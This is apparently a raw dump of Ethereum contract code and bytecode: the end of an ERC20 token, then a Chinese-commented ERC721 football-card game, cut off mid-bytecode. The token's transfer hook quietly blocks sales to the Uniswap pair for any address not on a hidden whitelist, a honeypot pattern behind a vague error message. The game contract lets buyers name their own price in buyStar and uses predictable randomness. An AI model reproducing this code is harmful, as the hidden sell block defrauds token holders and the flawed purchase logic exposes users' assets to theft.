amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461022a578063a457c2d714610248578063a9059cbb14610278578063dd62ed3e146102a8576100cf565b806339509351146101ac57806349bd5a5e146101dc57806370a08231146101fa576100cf565b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461012257806318160ddd1461014057806323b872dd1461015e578063313ce5671461018e575b600080fd5b6100dc6102d8565b6040516100e99190611238565b60405180910390f35b61010c60048036038101906101079190610e1d565b61036a565b6040516101199190611202565b60405180910390f35b61012a610388565b604051610137919061121d565b60405180910390f35b6101486103ae565b604051610155919061135a565b60405180910390f35b61017860048036038101906101739190610dce565b6103b8565b6040516101859190611202565b60405180910390f35b6101966104b9565b6040516101a39190611375565b60405180910390f35b6101c660048036038101906101c19190610e1d565b6104c2565b6040516101d39190611202565b60405180910390f35b6101e461056e565b6040516101f191906111e7565b60405180910390f35b610214600480360381019061020f9190610d69565b610594565b604051610221919061135a565b60405180910390f35b6102326105dc565b60405161023f9190611238565b60405180910390f35b610262600480360381019061025d9190610e1d565b61066e565b60405161026f9190611202565b60405180910390f35b610292600480360381019061028d9190610e1d565b610762565b60405161029f9190611202565b60405180910390f35b6102c260048036038101906102bd9190610d92565b610780565b6040516102cf919061135a565b60405180910390f35b6060600380546102e7906114e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610313906114e2565b80156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b5050505050905090565b600061037e610377610807565b848461080f565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b60006103c58484846109da565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610410610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906112ba565b60405180910390fd5b6104ad8561049c610807565b85846104a89190611402565b61080f565b60019150509392505050565b60006012905090565b60006105646104cf610807565b8484600160006104dd610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055f91906113ac565b61080f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105eb906114e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610617906114e2565b80156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b6000806001600061067d610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561073a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107319061133a565b60405180910390fd5b610757610745610807565b8585846107529190611402565b61080f565b600191505092915050565b600061077661076f610807565b84846109da565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906112fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e69061127a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109cd919061135a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a41906112da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab19061125a565b60405180910390fd5b610ac48383610c58565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b419061129a565b60405180910390fd5b8181610b569190611402565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be691906113ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4a919061135a565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d3b57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d319061131a565b60405180910390fd5b5b5050565b600081359050610d4e81611583565b92915050565b600081359050610d638161159a565b92915050565b600060208284031215610d7b57600080fd5b6000610d8984828501610d3f565b91505092915050565b60008060408385031215610da557600080fd5b6000610db385828601610d3f565b9250506020610dc485828601610d3f565b9150509250929050565b600080600060608486031215610de357600080fd5b6000610df186828701610d3f565b9350506020610e0286828701610d3f565b9250506040610e1386828701610d54565b9150509250925092565b60008060408385031215610e3057600080fd5b6000610e3e85828601610d3f565b9250506020610e4f85828601610d54565b9150509250929050565b610e6281611436565b82525050565b610e7181611448565b82525050565b610e808161148b565b82525050565b6000610e9182611390565b610e9b818561139b565b9350610eab8185602086016114af565b610eb481611572565b840191505092915050565b6000610ecc60238361139b565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f3260228361139b565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f9860268361139b565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ffe60288361139b565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061106460258361139b565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110ca60248361139b565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061113060148361139b565b91507f736f6d657468696e672077656e742077726f6e670000000000000000000000006000830152602082019050919050565b600061117060258361139b565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6111d281611474565b82525050565b6111e18161147e565b82525050565b60006020820190506111fc6000830184610e59565b92915050565b60006020820190506112176000830184610e68565b92915050565b60006020820190506112326000830184610e77565b92915050565b600060208201905081810360008301526112528184610e86565b905092915050565b6000602082019050818103600083015261127381610ebf565b9050919050565b6000602082019050818103600083015261129381610f25565b9050919050565b600060208201905081810360008301526112b381610f8b565b9050919050565b600060208201905081810360008301526112d381610ff1565b9050919050565b600060208201905081810360008301526112f381611057565b9050919050565b60006020820190508181036000830152611313816110bd565b9050919050565b6000602082019050818103600083015261133381611123565b9050919050565b6000602082019050818103600083015261135381611163565b9050919050565b600060208201905061136f60008301846111c9565b92915050565b600060208201905061138a60008301846111d8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113b782611474565b91506113c283611474565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113f7576113f6611514565b5b828201905092915050565b600061140d82611474565b915061141883611474565b92508282101561142b5761142a611514565b5b828203905092915050565b600061144182611454565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006114968261149d565b9050919050565b60006114a882611454565b9050919050565b60005b838110156114cd5780820151818401526020810190506114b2565b838111156114dc576000848401525b50505050565b600060028204905060018216806114fa57607f821691505b6020821081141561150e5761150d611543565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61158c81611436565b811461159757600080fd5b50565b6115a381611474565b81146115ae57600080fd5b5056fea2646970667358221220ce41b545ce5f10b847e3b6ab11e159365db6664108ff991738557d15fe347d7764736f6c63430008000033
[ 38 ]
0xf213d198b68b10654c63a9ed05a045e1d4a50f9f
pragma solidity ^0.4.17; /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) // function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract FootballerAccessControl{ ///@dev Emited when contract is upgraded event ContractUpgrade(address newContract); //The address of manager (the account or contracts) that can execute action within the role. address public managerAddress; ///@dev keeps track whether the contract is paused. bool public paused = false; function FootballerAccessControl() public { managerAddress = msg.sender; } /// @dev Access modifier for manager-only functionality modifier onlyManager() { require(msg.sender == managerAddress); _; } ///@dev assigns a new address to act as the Manager.Only available to the current Manager. function setManager(address _newManager) external onlyManager { require(_newManager != address(0)); managerAddress = _newManager; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by manager to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyManager whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the manager, /// since one reason we may pause the contract is when manager accounts are compromised. /// @notice This is public rather than external so it can be called by derived contracts. function unpause() public onlyManager { // can't unpause if contract was upgraded paused = false; } } contract FootballerBase is FootballerAccessControl { using SafeMath for uint256; /*** events ***/ event Create(address owner, uint footballerId); event Transfer(address _from, address _to, uint256 tokenId); uint private randNonce = 0; //球员/球星 属性 struct footballer { uint price; //球员-价格 , 球星-一口价 单位wei //球员的战斗属性 uint defend; //防御 uint attack; //进攻 uint quality; //素质 } //存球星和球员 footballer[] public footballers; //将球员的id和球员的拥有者对应起来 mapping (uint256 => address) public footballerToOwner; //记录拥有者有多少球员,在balanceOf()内部使用来解决所有权计数 mapping (address => uint256) public ownershipTokenCount; //从footballID 到 已批准调用transferFrom()的地址的映射 //每个球员只能有一个批准的地址。零值表示没有批准 mapping (uint256 => address) public footballerToApproved; // 将特定球员的所有权 赋给 某个地址 function _transfer(address _from, address _to, uint256 _tokenId) internal { footballerToApproved[_tokenId] = address(0); ownershipTokenCount[_to] = ownershipTokenCount[_to].add(1); footballerToOwner[_tokenId] = _to; ownershipTokenCount[_from] = ownershipTokenCount[_from].sub(1); emit Transfer(_from, _to, _tokenId); } //管理员用于投放球星,和createStar函数一起使用,才能将球星完整信息保存起来 function _createFootballerStar(uint _price,uint _defend,uint _attack, uint _quality) internal onlyManager returns(uint) { footballer memory _player = footballer({ price:_price, defend:_defend, attack:_attack, quality:_quality }); uint newFootballerId = footballers.push(_player) - 1; footballerToOwner[newFootballerId] = managerAddress; ownershipTokenCount[managerAddress] = ownershipTokenCount[managerAddress].add(1); //记录这个球星可以进行交易 footballerToApproved[newFootballerId] = managerAddress; require(newFootballerId == uint256(uint32(newFootballerId))); emit Create(managerAddress, newFootballerId); return newFootballerId; } //用于当用户买卡包时,随机生成球员 function createFootballer () internal returns (uint) { footballer memory _player = footballer({ price: 0, defend: _randMod(20,80), attack: _randMod(20,80), quality: _randMod(20,80) }); uint newFootballerId = footballers.push(_player) - 1; // require(newFootballerId == uint256(uint32(newFootballerId))); footballerToOwner[newFootballerId] = msg.sender; ownershipTokenCount[msg.sender] =ownershipTokenCount[msg.sender].add(1); emit Create(msg.sender, newFootballerId); return newFootballerId; } // 生成一个从 _min 到 _max 范围内的随机数(不包括 _max) function _randMod(uint _min, uint _max) private returns(uint) { randNonce++; uint modulus = _max - _min; return uint(keccak256(now, msg.sender, randNonce)) % modulus + _min; } } contract FootballerOwnership is FootballerBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "CyptoWorldCup"; string public constant symbol = "CWC"; function implementsERC721() public pure returns (bool) { return true; } //判断一个给定的地址是不是现在某个球员的拥有者 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return footballerToOwner[_tokenId] == _claimant; } //判断一个给定的地址现在对于某个球员 是不是有 transferApproval function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return footballerToApproved[_tokenId] == _claimant; } //给某地址的用户 对 球员有transfer的权利 function _approve(uint256 _tokenId, address _approved) internal { footballerToApproved[_tokenId] = _approved; } //返回 owner 拥有的球员数 function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } //转移 球员 给 另一个地址 function transfer(address _to, uint256 _tokenId) public whenNotPaused { require(_to != address(0)); require(_to != address(this)); //只能send自己的球员 require(_owns(msg.sender, _tokenId)); //重新分配所有权,清除待批准 approvals ,发出转移事件 _transfer(msg.sender, _to, _tokenId); } //授予另一个地址通过transferFrom()转移特定球员的权利。 function approve(address _to, uint256 _tokenId) external whenNotPaused { //只有球员的拥有者才有资格决定要把这个权利给谁 require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); emit Approval(msg.sender, _to, _tokenId); } //转让由另一个地址所拥有的球员,该地址之前已经获得所有者的转让批准 function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused { require(_to != address(0)); //不允许转让本合同以防止意外滥用。 // 合约不应该拥有任何球员(除非 在创建球星之后并且在拍卖之前 非常短)。 require(_to != address(this)); require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); //该函数定义在FootballerBase _transfer(_from, _to, _tokenId); } //返回现在一共有多少(球员+球星) function totalSupply() public view returns (uint) { return footballers.length; } //返回该特定球员的拥有者的地址 function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = footballerToOwner[_tokenId]; require(owner != address(0)); } //返回该地址的用户拥有的球员的id function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if(tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalpalyers = totalSupply(); uint256 resultIndex = 0; uint256 footballerId; for (footballerId = 0; footballerId < totalpalyers; footballerId++) { if(footballerToOwner[footballerId] == _owner) { result[resultIndex] = footballerId; resultIndex++; } } return result; } } } contract FootballerAction is FootballerOwnership { //创建球星 function createFootballerStar(uint _price,uint _defend,uint _attack, uint _quality) public returns(uint) { return _createFootballerStar(_price,_defend,_attack,_quality); } //抽卡包得球星 function CardFootballers() public payable returns (uint) { uint price = 4000000000000 wei; //0.04 eth require(msg.value >= price); uint ballerCount = 14; uint newFootballerId = 0; for (uint i = 0; i < ballerCount; i++) { newFootballerId = createFootballer(); } managerAddress.transfer(msg.value); return price; } function buyStar(uint footballerId,uint price) public payable { require(msg.value >= price); //将球星的拥有权 交给 购买的用户 address holder = footballerToApproved[footballerId]; require(holder != address(0)); _transfer(holder,msg.sender,footballerId); //给卖家转钱 holder.transfer(msg.value); } //用户出售自己拥有的球员或球星 function sell(uint footballerId,uint price) public returns(uint) { require(footballerToOwner[footballerId] == msg.sender); require(footballerToApproved[footballerId] == address(0)); footballerToApproved[footballerId] = msg.sender; footballers[footballerId].price = price; } //显示球队 function getTeamBallers(address actor) public view returns (uint[]) { uint len = footballers.length; uint count=0; for(uint i = 0; i < len; i++) { if(_owns(actor, i)){ if(footballerToApproved[i] == address(0)){ count++; } } } uint[] memory res = new uint256[](count); uint index = 0; for(i = 0; i < len; i++) { if(_owns(actor, i)){ if(footballerToApproved[i] == address(0)){ res[index] = i; index++; } } } return res; } //显示出售的球星+球员 function getSellBallers() public view returns (uint[]) { uint len = footballers.length; uint count = 0; for(uint i = 0; i < len; i++) { if(footballerToApproved[i] != address(0)){ count++; } } uint[] memory res = new uint256[](count); uint index = 0; for( i = 0; i < len; i++) { if(footballerToApproved[i] != address(0)){ res[index] = i; index++; } } return res; } //获得球员+球星的总数量 function getAllBaller() public view returns (uint) { uint len = totalSupply(); return len; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610159578063095ea7b3146101e95780631051db341461023657806318160ddd1461026557806323b872dd146102905780633f4ba83a146102fd5780635a7e1098146103145780635c975abb146103815780636352211e146103b057806364584d161461041d57806370a082311461043b578063746df633146104925780638456cb591461052a5780638462151c1461054157806395d89b41146105d95780639dd7b3c314610669578063a9059cbb146106d5578063c7aba57314610722578063ce2dfd0014610778578063cec21acb146107d7578063cf73a1bc1461082e578063d0ebdbe714610885578063d79875eb146108c8578063e26659da14610913578063e39e134b1461093e578063f62eded9146109ab575b600080fd5b34801561016557600080fd5b5061016e6109d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b005b34801561024257600080fd5b5061024b610aec565b604051808215151515815260200191505060405180910390f35b34801561027157600080fd5b5061027a610af5565b6040518082815260200191505060405180910390f35b34801561029c57600080fd5b506102fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b02565b005b34801561030957600080fd5b50610312610bcf565b005b34801561032057600080fd5b5061033f60048036038101908080359060200190929190505050610c46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038d57600080fd5b50610396610c79565b604051808215151515815260200191505060405180910390f35b3480156103bc57600080fd5b506103db60048036038101908080359060200190929190505050610c8c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610425610d05565b6040518082815260200191505060405180910390f35b34801561044757600080fd5b5061047c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105165780820151818401526020810190506104fb565b505050509050019250505060405180910390f35b34801561053657600080fd5b5061053f610fb9565b005b34801561054d57600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105c55780820151818401526020810190506105aa565b505050509050019250505060405180910390f35b3480156105e557600080fd5b506105ee611199565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062e578082015181840152602081019050610613565b50505050905090810190601f16801561065b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067557600080fd5b5061067e6111d2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106c15780820151818401526020810190506106a6565b505050509050019250505060405180910390f35b3480156106e157600080fd5b50610720600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061135f565b005b34801561072e57600080fd5b5061074d60048036038101908080359060200190929190505050611416565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561078457600080fd5b506107c160048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611455565b6040518082815260200191505060405180910390f35b3480156107e357600080fd5b50610818600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061146d565b6040518082815260200191505060405180910390f35b34801561083a57600080fd5b50610843611485565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089157600080fd5b506108c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114aa565b005b3480156108d457600080fd5b506108fd6004803603810190808035906020019092919080359060200190929190505050611584565b6040518082815260200191505060405180910390f35b34801561091f57600080fd5b506109286116de565b6040518082815260200191505060405180910390f35b34801561094a57600080fd5b50610969600480360381019080803590602001909291905050506116f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109d36004803603810190808035906020019092919080359060200190929190505050611725565b005b6040805190810160405280600d81526020017f437970746f576f726c644375700000000000000000000000000000000000000081525081565b600060149054906101000a900460ff16151515610a2a57600080fd5b610a3433826117ff565b1515610a3f57600080fd5b610a49818361186b565b7f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b60006001905090565b6000600280549050905090565b600060149054906101000a900460ff16151515610b1e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610b5a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610b9557600080fd5b610b9f33826118c1565b1515610baa57600080fd5b610bb483826117ff565b1515610bbf57600080fd5b610bca83838361192d565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2a57600080fd5b60008060146101000a81548160ff021916908315150217905550565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d0057600080fd5b919050565b60008060008060006503a3529440009350833410151515610d2557600080fd5b600e925060009150600090505b82811015610d5157610d42611ba2565b91508080600101915050610d32565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610db8573d6000803e3d6000fd5b508394505050505090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600080600060606000600280549050945060009350600092505b84831015610ebe57610e3a87846117ff565b15610eb157600073ffffffffffffffffffffffffffffffffffffffff166005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610eb05783806001019450505b5b8280600101935050610e28565b83604051908082528060200260200182016040528015610eed5781602001602082028038833980820191505090505b50915060009050600092505b84831015610fac57610f0b87846117ff565b15610f9f57600073ffffffffffffffffffffffffffffffffffffffff166005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f9e57828282815181101515610f8757fe5b906020019060200201818152505080806001019150505b5b8280600101935050610ef9565b8195505050505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101457600080fd5b600060149054906101000a900460ff1615151561103057600080fd5b6001600060146101000a81548160ff021916908315150217905550565b606060006060600080600061106187610dc3565b945060008514156110a457600060405190808252806020026020018201604052801561109c5781602001602082028038833980820191505090505b50955